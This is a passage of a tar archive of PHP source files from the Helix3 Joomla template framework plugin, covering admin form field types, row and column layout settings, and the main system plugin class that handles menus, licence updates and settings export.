	{

		if (!isset($attr['std'])) {
			$attr['std'] = '';
		}

		if (!isset($attr['placeholder'])) {
			$attr['placeholder'] = '';
		}

		$output  = '<div class="form-group">';
		$output .= '<label>'.$attr['title'].'</label>';
		$output	.= '<input class="form-control addon-input addon-'.$key.'" type="text" data-attrname="'.$key.'" value="'.$attr['std'].'" placeholder="'.$attr['placeholder'].'" />';
		
		if( ( isset($attr['desc']) ) && ( isset($attr['desc']) != '' ) )
		{
			$output .= '<p class="help-block">' . $attr['desc'] . '</p>';
		}
		
		$output .= '</div>';

		return $output;
	}

}                                                                                             system/helix3/layout/types/select.php                                                               0000705                 00000001700 15242051520 0013725 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2015 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/  

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

class SpTypeSelect{

	static function getInput($key, $attr)
	{
		if(!isset($attr['std'])){
			$attr['std'] = '';
		}

		$output  = '<div class="form-group '.$key.'">';
		$output .= '<label>'.$attr['title'].'</label>';

		$output .= '<select class="form-control addon-input" data-attrname="'.$key.'">';

		foreach( $attr['values'] as $key => $value )
		{
			$output .= '<option value="'.$key.'" '.(($attr['std'] == $key )?'selected':'').'>'.$value.'</option>';
		}

		$output .= '</select>';

		if( ( isset($attr['desc']) ) && ( isset($attr['desc']) != '' ) )
		{
			$output .= '<p class="help-block">' . $attr['desc'] . '</p>';
		}

		$output .= '</div>';

		return $output;
	}

}                                                                system/helix3/layout/types/color.php                                                                0000705                 00000001716 15242051520 0013573 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2015 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

class SpTypeColor{

	static function getInput($key, $attr)
	{

		if(!isset($attr['std'])){
			$attr['std'] = '';
		}

		// Including fallback code for HTML5 non supported browsers.
		JHtml::_('jquery.framework');
		JHtml::_('script', 'system/html5fallback.js', false, true);

		$output  = '<div class="form-group">';
		$output .= '<label>'.$attr['title'].'</label>';
		$output .= '<input type="text" class="sppb-color addon-input" data-attrname="'.$key.'" placeholder="#rrggbb" value="'.$attr['std'].'">';

		if( ( isset($attr['desc']) ) && ( isset($attr['desc']) != '' ) )
		{
			$output .= '<p class="help-block">' . $attr['desc'] . '</p>';
		}

		$output .= '</div>';

		return $output;
	}

}
                                                  system/helix3/layout/types/checkbox.php                                                             0000705                 00000001735 15242051520 0014244 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2015 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/  

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

class SpTypeCheckbox{

	static function getInput($key, $attr)
	{

		if (isset($attr['value'])) {
			$attr['std'] = $attr['value'];
		}else{
			if (!isset($attr['std'])) {
				$attr['std'] = '0';
			}
		}

		$output   = '<div class="form-group">';
		$output  .= '<div class="checkbox">';
		$output  .= '<label>';
		$output  .= '<input class="addon-input input-'.$key.'" data-attrname="'.$key.'" type="checkbox" '.(($attr['std'] == 1)?'checked':'').'> ' .$attr['title'];
		$output  .= '</label>';
		$output  .= '</div>';

		if( ( isset($attr['desc']) ) && ( isset($attr['desc']) != '' ) )
		{
			$output .= '<p class="help-block">' . $attr['desc'] . '</p>';
		}

		$output  .= '</div>';

		return $output;
	}

}                                   system/helix3/layout/layout-settings/fields-helper.php                                              0000705                 00000001206 15242051520 0017201 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

class FieldsHelper{

	protected function __construct()
	{

		$types = JFolder::files( dirname( __FILE__ ) . '/types', '\.php$', false, true);

		foreach ($types as $type) {
			require_once $type;
		}
	}

	protected static function getInputElements( $key, $attr )
	{
		return call_user_func(array( 'SpType' . ucfirst( $attr['type'] ), 'getInput'), $key, $attr );
	}

}
                                                                                                                                                                                                                                                                                                                                                                                          system/helix3/layout/layout-settings/row-column-settings.php                                        0000705                 00000021570 15242051520 0020424 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

$rowSettings = array(
	'type'=>'general',
	'title'=>'',
	'attr'=>array(

		'name' => array(
			'type'		=> 'text',
			'title'		=> JText::_('HELIX_SECTION_TITLE'),
			'desc'		=> JText::_('HELIX_SECTION_TITLE_DESC'),
			'std'		=> ''
			),
		'background_color' => array(
			'type'		=> 'color',
			'title'		=> JText::_('HELIX_SECTION_BACKGROUND_COLOR'),
			'desc'		=> JText::_('HELIX_SECTION_BACKGROUND_COLOR_DESC')
			),
		'color' => array(
			'type'		=> 'color',
			'title'		=> JText::_('HELIX_SECTION_TEXT_COLOR'),
			'desc'		=> JText::_('HELIX_SECTION_TEXT_COLOR_DESC')
			),
		'background_image' => array(
			'type'		=> 'media',
			'title'		=> JText::_('HELIX_SECTION_BACKGROUND_IMAGE'),
			'desc'		=> JText::_('HELIX_SECTION_BACKGROUND_IMAGE_DESC'),
			'std'		=> '',
			),
		'background_repeat'=>array(
			'type'=>'select',
			'title'=>JText::_('HELIX_BG_REPEAT'),
			'desc'=>JText::_('HELIX_BG_REPEAT_DESC'),
			'values'=>array(
				'no-repeat'=>JText::_('HELIX_BG_REPEAT_NO'),
				'repeat'=>JText::_('HELIX_BG_REPEAT_ALL'),
				'repeat-x'=>JText::_('HELIX_BG_REPEAT_HORIZ'),
				'repeat-y'=>JText::_('HELIX_BG_REPEAT_VERTI'),
				'inherit'=>JText::_('HELIX_BG_REPEAT_INHERIT'),
				),
			'std'=>'no-repeat',
			),
		'background_size' => array(
			'type'		=> 'select',
			'title'=>JText::_('HELIX_BG_SIZE'),
			'desc'=>JText::_('HELIX_BG_SIZE_DESC'),
			'values'=>array(
				'cover'=>JText::_('HELIX_BG_COVER'),
				'contain'=>JText::_('HELIX_BG_CONTAIN'),
				'inherit'=>JText::_('HELIX_BG_INHERIT'),
				),
			'std'=>'cover',
			),
		'background_attachment'=>array(
			'type'=>'select',
			'title'=>JText::_('HELIX_BG_ATTACHMENT'),
			'desc'=>JText::_('HELIX_BG_ATTACHMENT_DESC'),
			'values'=>array(
				'fixed'=>JText::_('HELIX_BG_ATTACHMENT_FIXED'),
				'scroll'=>JText::_('HELIX_BG_ATTACHMENT_SCROLL'),
				'inherit'=>JText::_('HELIX_BG_ATTACHMENT_INHERIT'),
				),
			'std'=>'fixed',
			),
		'background_position' => array(
			'type'		=> 'select',
			'title'=>JText::_('HELIX_BG_POSITION'),
			'desc'=>JText::_('HELIX_BG_POSITION_DESC'),
			'values'=>array(
				'0 0'=>JText::_('HELIX_BG_POSITION_LEFT_TOP'),
				'0 50%'=>JText::_('HELIX_BG_POSITION_LEFT_CENTER'),
				'0 100%'=>JText::_('HELIX_BG_POSITION_LEFT_BOTTOM'),
				'50% 0'=>JText::_('HELIX_BG_POSITION_CENTER_TOP'),
				'50% 50%'=>JText::_('HELIX_BG_POSITION_CENTER_CENTER'),
				'50% 100%'=>JText::_('HELIX_BG_POSITION_CENTER_BOTTOM'),
				'100% 0'=>JText::_('HELIX_BG_POSITION_RIGHT_TOP'),
				'100% 50%'=>JText::_('HELIX_BG_POSITION_RIGHT_CENTER'),
				'100% 100%'=>JText::_('HELIX_BG_POSITION_RIGHT_BOTTOM'),
				),
			'std'=>'0 0',
			),
		'link_color' => array(
			'type'		=> 'color',
			'title'		=> JText::_('HELIX_LINK_COLOR'),
			'desc'		=> JText::_('HELIX_LINK_COLOR_DESC')
			),
		'link_hover_color' => array(
			'type'		=> 'color',
			'title'		=> JText::_('HELIX_LINK_HOVER_COLOR'),
			'desc'		=> JText::_('HELIX_LINK_HOVER_COLOR_DESC')
			),
		'hidden_xs' 		=> array(
			'type'		=> 'checkbox',
			'title'		=> JText::_('HELIX_HIDDEN_MOBILE'),
			'desc'		=> JText::_('HELIX_HIDDEN_MOBILE_DESC'),
			'std'		=> '',
			),
		'hidden_sm' 		=> array(
			'type'		=> 'checkbox',
			'title'		=> JText::_('HELIX_HIDDEN_TABLET'),
			'desc'		=> JText::_('HELIX_HIDDEN_TABLET_DESC'),
			'std'		=> '',
			),
		'hidden_md' 		=> array(
			'type'		=> 'checkbox',
			'title'		=> JText::_('HELIX_HIDDEN_DESKTOP'),
			'desc'		=> JText::_('HELIX_HIDDEN_DESKTOP_DESC'),
			'std'		=> '',
			),
		'padding' => array(
			'type'		=> 'text',
			'title'		=> JText::_('HELIX_PADDING'),
			'desc'		=> JText::_('HELIX_PADDING_DESC'),
			'std'		=> ''
			),
		'margin' => array(
			'type'		=> 'text',
			'title'		=> JText::_('HELIX_MARGIN'),
			'desc'		=> JText::_('HELIX_MARGIN_DESC'),
			'std'		=> ''
			),
		'fluidrow' 		=> array(
			'type'		=> 'checkbox',
			'title'		=> JText::_('HELIX_ROW_FULL_WIDTH'),
			'desc'		=> JText::_('HELIX_ROW_FULL_WIDTH_DESC'),
			'std'		=> '',
			),
		'custom_class' => array(
			'type'		=> 'text',
			'title'		=> JText::_('HELIX_CUSTOM_CLASS'),
			'desc'		=> JText::_('HELIX_CUSTOM_CLASS_DESC'),
			'std'		=> ''
			),
		)
	);

$columnSettings = array(
	'type'=>'general',
	'title'=>'',
	'attr'=>array(

		'column_type' => array(
			'type'		=> 'checkbox',
			'title'		=> JText::_('HELIX_COMPONENT'),
			'desc'		=> JText::_('HELIX_COMPONENT_DESC'),
			'std'=>'',
			),
		'name' => array(
			'type'		=> 'select',
			'title'		=> JText::_('HELIX_MODULE_POSITION'),
			'desc'		=> JText::_('HELIX_MODULE_POSITION_DESC'),
			'values'	=> array(),
			'std'=>'none',
			),
		'hidden_xs' 		=> array(
			'type'		=> 'checkbox',
			'title'		=> JText::_('HELIX_HIDDEN_MOBILE'),
			'desc'		=> JText::_('HELIX_HIDDEN_MOBILE_DESC'),
			'std'		=> '',
			),
		'hidden_sm' 		=> array(
			'type'		=> 'checkbox',
			'title'		=> JText::_('HELIX_HIDDEN_TABLET'),
			'desc'		=> JText::_('HELIX_HIDDEN_TABLET_DESC'),
			'std'		=> '',
			),
		'hidden_md' 		=> array(
			'type'		=> 'checkbox',
			'title'		=> JText::_('HELIX_HIDDEN_DESKTOP'),
			'desc'		=> JText::_('HELIX_HIDDEN_DESKTOP_DESC'),
			'std'		=> '',
			),
		'sm_col' 		=> array(
			'type'		=> 'select',
			'title'		=> JText::_('HELIX_TABLET_LAYOUT'),
			'desc'		=> JText::_('HELIX_TABLET_LAYOUT_DESC'),
			'values'	=> array(
				'' => "",
				'col-sm-1' => 'col-sm-1',
				'col-sm-2' => 'col-sm-2',
				'col-sm-3' => 'col-sm-3',
				'col-sm-4' => 'col-sm-4',
				'col-sm-5' => 'col-sm-5',
				'col-sm-6' => 'col-sm-6',
				'col-sm-7' => 'col-sm-7',
				'col-sm-8' => 'col-sm-8',
				'col-sm-9' => 'col-sm-9',
				'col-sm-10' => 'col-sm-10',
				'col-sm-11' => 'col-sm-11',
				'col-sm-12' => 'col-sm-12',
				),
			'std'		=> '',
			),
		'xs_col' 		=> array(
			'type'		=> 'select',
			'title'		=> JText::_('HELIX_MOBILE_LAYOUT'),
			'desc'		=> JText::_('HELIX_MOBILE_LAYOUT_DESC'),
			'values'	=> array(
				'' => "",
				'col-xs-1' => 'col-xs-1',
				'col-xs-2' => 'col-xs-2',
				'col-xs-3' => 'col-xs-3',
				'col-xs-4' => 'col-xs-4',
				'col-xs-5' => 'col-xs-5',
				'col-xs-6' => 'col-xs-6',
				'col-xs-7' => 'col-xs-7',
				'col-xs-8' => 'col-xs-8',
				'col-xs-9' => 'col-xs-9',
				'col-xs-10' => 'col-xs-10',
				'col-xs-11' => 'col-xs-11',
				'col-xs-12' => 'col-xs-12',
				),
			'std'		=> '',
			),
		'custom_class' => array(
			'type'		=> 'text',
			'title'		=> JText::_('HELIX_CUSTOM_CLASS'),
			'desc'		=> JText::_('HELIX_CUSTOM_CLASS_DESC'),
			'std'		=> ''
			),
		)
	);

class RowColumnSettings{

	private static function getInputElements( $key, $attr )
	{
		return call_user_func(array( 'SpType' . ucfirst( $attr['type'] ), 'getInput'), $key, $attr );
	}

	public static function getRowSettings($row_settings = array())
	{

		$output = '<div class="hidden">';
		$output .= '<div class="row-settings">';

		foreach ($row_settings['attr'] as $key => $rowAttr) {
			$output .= self::getInputElements( $key, $rowAttr );
		}

		$output .= '</div>';
		$output .= '</div>';

		return $output;
	}

	public static function getColumnSettings($col_settings = array())
	{

		$col_settings['attr']['name']['values'] = self::getPositionss();

		$output = '<div class="hidden">';
		$output .= '<div class="column-settings">';

		foreach ($col_settings['attr'] as $key => $rowAttr) {
			$output .= self::getInputElements( $key, $rowAttr );
		}

		$output .= '</div>';
		$output .= '</div>';

		return $output;
	}

	public static function getTemplateName()
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('template')));
		$query->from($db->quoteName('#__template_styles'));
		$query->where($db->quoteName('client_id') . ' = 0');
		$query->where($db->quoteName('home') . ' = 1');
		$db->setQuery($query);

		return $db->loadObject()->template;
	}


	public static function getPositionss() {

	    $db = JFactory::getDBO();
	    $query = 'SELECT `position` FROM `#__modules` WHERE  `client_id`=0 AND ( `published` !=-2 AND `published` !=0 ) GROUP BY `position` ORDER BY `position` ASC';

	    $db->setQuery($query);
	    $dbpositions = (array) $db->loadAssocList();

		$template  = self::getTemplateName();

	    $templateXML = JPATH_SITE.'/templates/'.$template.'/templateDetails.xml';
	    $template = simplexml_load_file( $templateXML );
	    $options = array();

	    foreach($dbpositions as $positions) $options[] = $positions['position'];

	    foreach($template->positions[0] as $position)  $options[] =  (string) $position;

	    $options = array_unique($options);

	    $selectOption = array();
	    sort($selectOption);

	    foreach($options as $option) $selectOption[$option] = $option;

	    return $selectOption;
	}

	public static function getSettings($config = null){
		$data = '';
		if ($config) {
			foreach ($config as $key => $value) {
				$data .= ' data-'.$key.'="'.$value.'"';
			}
		}
		return $data;
	}
}                                                                                                                                        system/helix3/helix3.php                                                                            0000705                 00000015204 15242051520 0011165 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

jimport('joomla.plugin.plugin');
jimport( 'joomla.event.plugin' );
jimport('joomla.registry.registry');

if(!class_exists('Helix3')) {
  require_once (__DIR__ . '/core/helix3.php');
}

class  plgSystemHelix3 extends JPlugin
{

    protected $autoloadLanguage = true;

    // Copied style
    function onAfterDispatch() {

        if(  !JFactory::getApplication()->isAdmin() ) {

            $activeMenu = JFactory::getApplication()->getMenu()->getActive();

            if(is_null($activeMenu)) $template_style_id = 0;
            else $template_style_id = (int) $activeMenu->template_style_id;
            if( $template_style_id > 0 ){

                JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_templates/tables');
                $style = JTable::getInstance('Style', 'TemplatesTable');
                $style->load($template_style_id);

                if( !empty($style->template) ) JFactory::getApplication()->setTemplate($style->template, $style->params);
            }
        }
    }

    function onContentPrepareForm($form, $data) {

        $doc = JFactory::getDocument();
        $plg_path = JURI::root(true).'/plugins/system/helix3';
        JForm::addFormPath(JPATH_PLUGINS.'/system/helix3/params');

        if ($form->getName()=='com_menus.item') { //Add Helix menu params to the menu item
            JHtml::_('jquery.framework');
            $data = (array)$data;

            if($data['id'] && $data['parent_id'] == 1) {
                JHtml::_('jquery.ui', array('core', 'more', 'sortable'));
                $doc->addScript($plg_path.'/assets/js/jquery-ui.draggable.min.js');
                $doc->addStyleSheet($plg_path.'/assets/css/bootstrap.css');
                $doc->addStyleSheet($plg_path.'/assets/css/font-awesome.min.css');
                $doc->addStyleSheet($plg_path.'/assets/css/modal.css');
                $doc->addStyleSheet($plg_path.'/assets/css/menu.generator.css');
                $doc->addScript($plg_path.'/assets/js/modal.js');
                $doc->addScript( $plg_path. '/assets/js/menu.generator.js' );
                $form->loadFile('menu-parent', false);

            } else {
                $form->loadFile('menu-child', false);
            }

            $form->loadFile('page-title', false);

        }

        //Article Post format
        if ($form->getName()=='com_content.article') {
            JHtml::_('jquery.framework');
            $doc->addStyleSheet($plg_path.'/assets/css/font-awesome.min.css');
            $doc->addScript($plg_path.'/assets/js/post-formats.js');

            $tpl_path = JPATH_ROOT . '/templates/' . $this->getTemplateName();

            if(JFile::exists( $tpl_path . '/post-formats.xml' )) {
                JForm::addFormPath($tpl_path);
            } else {
                JForm::addFormPath(JPATH_PLUGINS . '/system/helix3/params');
            }

            $form->loadFile('post-formats', false);
        }

    }


    // Live Update system
    public function onExtensionAfterSave($option, $data) {

        if ($option == 'com_templates.style' && !empty($data->id)) {

            $params = new JRegistry;
            $params->loadString($data->params);

            $email       = $params->get('joomshaper_email');
            $license_key = $params->get('joomshaper_license_key');
            $template = trim($data->template);

            if(!empty($email) and !empty($license_key) )
            {

                $extra_query = 'joomshaper_email=' . urlencode($email);
                $extra_query .='&amp;joomshaper_license_key=' . urlencode($license_key);

                $db = JFactory::getDbo();

                $fields = array(
                    $db->quoteName('extra_query') . '=' . $db->quote($extra_query),
                    $db->quoteName('last_check_timestamp') . '=0'
                );

                $query = $db->getQuery(true)
                    ->update($db->quoteName('#__update_sites'))
                    ->set($fields)
                    ->where($db->quoteName('name').'='.$db->quote($template));
                $db->setQuery($query);
                $db->execute();
            }
        }
    }

    public function onAfterRoute()
    {
        $japps = JFactory::getApplication();

        if ( $japps->isAdmin() )
        {
            $user = JFactory::getUser();

            if( !in_array( 8, $user->groups ) ){
                return false;
            }

            $inputs = JFactory::getApplication()->input;

            $option         = $inputs->get ( 'option', '' );
            $id             = $inputs->get ( 'id', '0', 'INT' );
            $helix3task     = $inputs->get ( 'helix3task' ,'' );

            if ( strtolower( $option ) == 'com_templates' && $id && $helix3task == "export" )
            {
               $db = JFactory::getDbo();
               $query = $db->getQuery(true);

               $query
                    ->select( '*' )
                    ->from( $db->quoteName( '#__template_styles' ) )
                    ->where( $db->quoteName( 'id' ) . ' = ' . $db->quote( $id ) . ' AND ' . $db->quoteName( 'client_id' ) . ' = 0' );

                $db->setQuery( $query );

                $result = $db->loadObject();

                header( 'Content-Description: File Transfer' );
                header( 'Content-type: application/txt' );
                header( 'Content-Disposition: attachment; filename="' . $result->template . '_settings_' . date( 'd-m-Y' ) . '.json"' );
                header( 'Content-Transfer-Encoding: binary' );
                header( 'Expires: 0' );
                header( 'Cache-Control: must-revalidate' );
                header( 'Pragma: public' );

                echo $result->params;

                exit;
            }
        }

    }

    private function getTemplateName()
    {
        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select($db->quoteName(array('template')));
        $query->from($db->quoteName('#__template_styles'));
        $query->where($db->quoteName('client_id') . ' = 0');
        $query->where($db->quoteName('home') . ' = 1');
        $db->setQuery($query);

        return $db->loadObject()->template;
    }

    function onAfterRender() {
      $app = JFactory::getApplication();

  		if ($app->isAdmin())
      {
  			return;
  		}
      $body = JResponse::getBody();
  		$preset = Helix3::Preset();

  		$body = str_replace('{helix_preset}', $preset, $body);

  		JResponse::setBody($body);
    }
}
                                                                                                                                                                                                                                                                                                                                                                                            system/helix3/fields/spimage.php                                                                    0000705                 00000004036 15242051520 0012665 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

class JFormFieldSpimage extends JFormField
{

  protected $type = 'Spimage';

  protected function getInput()
  {
    $doc = JFactory::getDocument();

    JHtml::_('jquery.framework');

    $plg_path = JURI::root(true) . '/plugins/system/helix3';
    $doc->addScript($plg_path . '/assets/js/spimage.js');
    $doc->addStyleSheet($plg_path . '/assets/css/spimage.css');

    if($this->value) {
      $class1 = ' hide';
      $class2 = '';
    } else {
      $class1 = '';
      $class2 = ' hide';
    }

    $output  = '<div class="sp-image-field clearfix">';
    $output .= '<div class="sp-image-upload-wrapper">';

    if($this->value) {
      $data_src = $this->value;
      $src = JURI::root(true) . '/' . $data_src;

      $basename = basename($data_src);
      $thumbnail = JPATH_ROOT . '/' . dirname($data_src) . '/' . JFile::stripExt($basename) . '_thumbnail.' . JFile::getExt($basename);

      if(file_exists($thumbnail)) {
        $src = JURI::root(true) . '/' . dirname($data_src) . '/' . JFile::stripExt($basename) . '_thumbnail.' . JFile::getExt($basename);
      }

      $output .= '<img src="'. $src .'" data-src="' . $data_src . '" alt="">';
    }

    $output .= '</div>';

    $output .= '<input type="file" class="sp-image-upload" accept="image/*" style="display:none;">';
    $output .= '<a class="btn btn-info btn-sp-image-upload'. $class1 .'" href="#"><i class="fa fa-plus"></i> Upload Image</a>';
    $output .= '<a class="btn btn-danger btn-sp-image-remove'. $class2 .'" href="#"><i class="fa fa-minus-circle"></i> Remove Image</a>';

    $output .= '<input type="hidden" name="'. $this->name .'" id="' . $this->id . '" value="' . htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8')
    . '"  class="form-field-spimage">';
    $output .= '</div>';

    return $output;
  }
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  system/helix3/fields/megamenu.php                                                                   0000705                 00000001622 15242051520 0013034 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

jimport('joomla.form.formfield');

class JFormFieldMegamenu extends JFormField
{
  protected $type = "Megamenu";

  public function getInput()
  {
    $mega_menu_path = JPATH_SITE.'/plugins/system/helix3/fields/';

    $html = $this->getMegaSettings($mega_menu_path,json_decode($this->value));
    $html .= '<input type="hidden" name="'.$this->name.'" id="'.$this->id.'" value="'.$this->value.'">';

    return $html;
  }

  public function getMegaSettings($path,$value = null)
  {
    ob_start();
    $menu_data = $value;
    include_once $path.'menulayout.php';
    $html = ob_get_contents();
    ob_clean();

    return $html;
  }
}
                                                                                                              system/helix3/fields/layout.php                                                                     0000705                 00000003046 15242051520 0012555 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

jimport('joomla.form.formfield');

class JFormFieldLayout extends JFormField {

  protected $type = 'Layout';

  public function getInput()
  {
    $helix_layout_path = JPATH_SITE.'/plugins/system/helix3/layout/';

    $json = json_decode($this->value);

    if(!empty($json)) {
      $value = $json;
    } else {
      $layout_file = JFile::read( JPATH_SITE . '/templates/' . $this->getTemplate() . '/layout/default.json' );
      $value = json_decode($layout_file);
    }

    $htmls = $this->generateLayout($helix_layout_path, $value);
    $htmls .= '<input type="hidden" id="'.$this->id.'" name="'.$this->name.'">';
    return $htmls;
  }


  private function generateLayout($path,$layout_data = null)
  {

    ob_start();
    include_once( $path.'generated.php' );
    $items = ob_get_contents();
    ob_end_clean();

    return $items;

  }


  public function getLabel()
  {
    return false;
  }

  //Get template name
  private static function getTemplate() {

    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('template')));
    $query->from($db->quoteName('#__template_styles'));
    $query->where($db->quoteName('id') . ' = '. $db->quote( JRequest::getVar('id') ));
    $db->setQuery($query);

    return $db->loadResult();
  }
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          system/helix3/fields/asset.php                                                                      0000705                 00000004047 15242051520 0012361 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

jimport('joomla.form.formfield');

class JFormFieldAsset extends JFormField
{
  protected	$type = 'Asset';

  protected function getInput() {

    $helix_plg_url = JURI::root(true).'/plugins/system/helix3';
    $doc = JFactory::getDocument();
    $doc->addScriptdeclaration('var layoutbuilder_base="' . JURI::root() . '";');
    $doc->addScriptDeclaration("var basepath = '{$helix_plg_url}';");
    $doc->addScriptDeclaration("var pluginVersion = '{$this->getVersion()}';");

    //Core scripts
    JHtml::_('jquery.ui', array('core', 'sortable'));
    JHtml::_('formbehavior.chosen', 'select');

    $doc->addScript($helix_plg_url.'/assets/js/helper.js');
    $doc->addScript($helix_plg_url.'/assets/js/webfont.js');
    $doc->addScript($helix_plg_url.'/assets/js/modal.js');
    $doc->addScript($helix_plg_url.'/assets/js/admin.general.js');
    $doc->addScript($helix_plg_url.'/assets/js/admin.layout.js');

    //CSS
    $doc->addStyleSheet($helix_plg_url.'/assets/css/bootstrap.css');
    $doc->addStyleSheet($helix_plg_url.'/assets/css/modal.css');
    $doc->addStyleSheet($helix_plg_url.'/assets/css/font-awesome.min.css');
    $doc->addStyleSheet($helix_plg_url.'/assets/css/admin.general.css');

  }

  private function getVersion() {
    $db = JFactory::getDBO();
    $query = $db->getQuery(true);
    $query
    ->select(array('*'))
    ->from($db->quoteName('#__extensions'))
    ->where($db->quoteName('type').' = '.$db->quote('plugin'))
    ->where($db->quoteName('element').' = '.$db->quote('helix3'))
    ->where($db->quoteName('folder').' = '.$db->quote('system'));
    $db->setQuery($query);
    $result = $db->loadObject();
    $manifest_cache = json_decode($result->manifest_cache);
    if (isset($manifest_cache->version)) {
      return $manifest_cache->version;
    }
    return;
  }
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         system/helix3/fields/typography.php                                                                 0000705                 00000010676 15242051520 0013455 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

jimport('joomla.form.formfield');

class JFormFieldTypography extends JFormField
{
  protected $type = 'Typography';

  protected function getInput() {

    $template_path = JPATH_SITE . '/templates/' . self::getTemplate() . '/webfonts/webfonts.json';
    $plugin_path   = JPATH_PLUGINS . '/system/helix3/assets/webfonts/webfonts.json';

    if(file_exists( $template_path )) {
      $json = JFile::read( $template_path );
    } else {
      $json = JFile::read( $plugin_path );
    }

    $webfonts   = json_decode($json);
    $items      = $webfonts->items;

    $value = json_decode($this->value);

    if(isset($value->fontFamily)) {
      $font = self::filterArray($items, $value->fontFamily);
    }

    $html  = '';

    $classes = (!empty($this->element['class'])) ? $this->element['class'] : '';

    //Font Family
    $html .= '<div class="webfont '. $classes .'">';
    $html .= '<div class="row-fluid">';

    $html .= '<div class="span3 font-families">';
    $html .= '<label><strong>'. JText::_('HELIX_FONT_FAMILY') .'</strong></label>';
    $html .= '<select class="list-font-families">';

    foreach ($items as $item) {
      if(isset($value->fontFamily) && $item->family==$value->fontFamily) {
        $html .= '<option selected="selected" value="'. $item->family .'">'. $item->family .'</option>';
      } else {
        $html .= '<option value="'. $item->family .'">'. $item->family .'</option>';
      }
    }

    $html .= '</select>';
    $html .= '</div>';

    //Font Weight
    $html .= '<div class="span2 font-weight">';
    $html .= '<label><strong>'. JText::_('HELIX_FONT_WEIGHT_STYLE') .'</strong></label>';
    $html .= '<select class="list-font-weight">';

    if(isset($value->fontFamily)) {
      foreach ($font->variants as $variant) {
        if($variant == $value->fontWeight) {
          $html .= '<option selected="selected" value="'. $variant .'">'. $variant .'</option>';
        } else {
          $html .= '<option value="'. $variant .'">'. $variant .'</option>';
        }
      }
    } else {
      foreach ($items[0]->variants as $variant) {
        $html .= '<option value="'. $variant .'">'. $variant .'</option>';
      }
    }

    $html .= '</select>';
    $html .= '</div>';

    //Font Subsets
    $html .= '<div class="span2 font-subsets">';
    $html .= '<label><strong>'. JText::_('HELIX_FONT_SUBSET') .'</strong></label>';
    $html .= '<select class="list-font-subset">';

    if(isset($value->fontFamily)) {
      foreach ($font->subsets as $subset) {
        if($subset == $value->fontSubset) {
          $html .= '<option selected="selected" value="'. $subset .'">'. $subset .'</option>';
        } else {
          $html .= '<option value="'. $subset .'">'. $subset .'</option>';
        }
      }
    } else {
      foreach ($items[0]->subsets as $subset) {
        $html .= '<option value="'. $subset .'">'. $subset .'</option>';
      }
    }

    $html .= '</select>';
